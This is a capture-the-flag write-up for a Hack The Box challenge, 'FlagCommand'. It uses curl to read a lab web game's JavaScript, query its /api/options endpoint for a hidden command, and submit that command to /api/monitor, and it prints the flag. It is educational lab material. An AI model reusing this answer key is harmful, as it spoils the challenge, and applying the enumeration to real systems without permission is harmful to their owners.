FlagCommand

Author: 0xIDA
Platform: HTB · Category: misc · Difficulty: N/A

Solvers

• solve.sh

Summary

A web-based terminal adventure game ("Dimensional Escape Quest") hides a secret command in its API. Reading the JavaScript source reveals a /api/options endpoint that returns all valid commands—including a secret array. Sending the secret command to /api/monitor returns the flag.

Structure

• Path: /root/ctf/htb/misc/flag-command/
• Category: Misc
• Target: 154.57.164.65:30679

Analysis

Step 1: Identify the target as a web app

curl -s -v http://154.57.164.65:30679/ 2>&1 | head -20

Server: Werkzeug/3.0.1 Python/3.11.8 — a Flask application serving a terminal game.

Step 2: Read client-side JavaScript

The HTML loads three JS modules:

• /static/terminal/js/commands.js — game text and constants
• /static/terminal/js/main.js — game logic and command handling
• /static/terminal/js/game.js — win/lose display functions

Step 3: Find the secret command check in main.js

The CheckMessage() function validates user input against both normal game options AND a secret key:

if (availableOptions[currentStep].includes(currentCommand) || availableOptions['secret'].includes(currentCommand)) {
    await fetch('/api/monitor', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ 'command': currentCommand })
    })
    // ... checks response for 'HTB{' to trigger playerWon()
}

The fetchOptions() function loads commands from /api/options.

Step 4: Fetch the secret command from the API

curl -s http://154.57.164.65:30679/api/options | python3 -m json.tool

Response:

{
    "allPossibleCommands": {
        "1": ["HEAD NORTH", "HEAD WEST", "HEAD EAST", "HEAD SOUTH"],
        "2": ["GO DEEPER INTO THE FOREST", "FOLLOW A MYSTERIOUS PATH", "CLIMB A TREE", "TURN BACK"],
        "3": ["EXPLORE A CAVE", "CROSS A RICKETY BRIDGE", "FOLLOW A GLOWING BUTTERFLY", "SET UP CAMP"],
        "4": ["ENTER A MAGICAL PORTAL", "SWIM ACROSS A MYSTERIOUS LAKE", "FOLLOW A SINGING SQUIRREL", "BUILD A RAFT AND SAIL DOWNSTREAM"],
        "secret": ["Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"]
    }
}

Step 5: Send the secret command to get the flag

curl -s -X POST http://154.57.164.65:30679/api/monitor \
  -H 'Content-Type: application/json' \
  -d '{"command": "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}'

Response:

{"message": "HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}"}

Key Findings

1. The game's logic is entirely client-side JavaScript — no server-side validation of game state
2. The /api/options endpoint exposes ALL valid commands including the secret array
3. The /api/monitor endpoint accepts any command from the options list and returns the flag for the secret command
4. No need to actually play the game — just call the API directly

Tools Used

• curl — HTTP requests to the web app and API endpoints
• python3 -m json.tool — JSON pretty-printing

Flag

HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}

Status: SOLVED ✅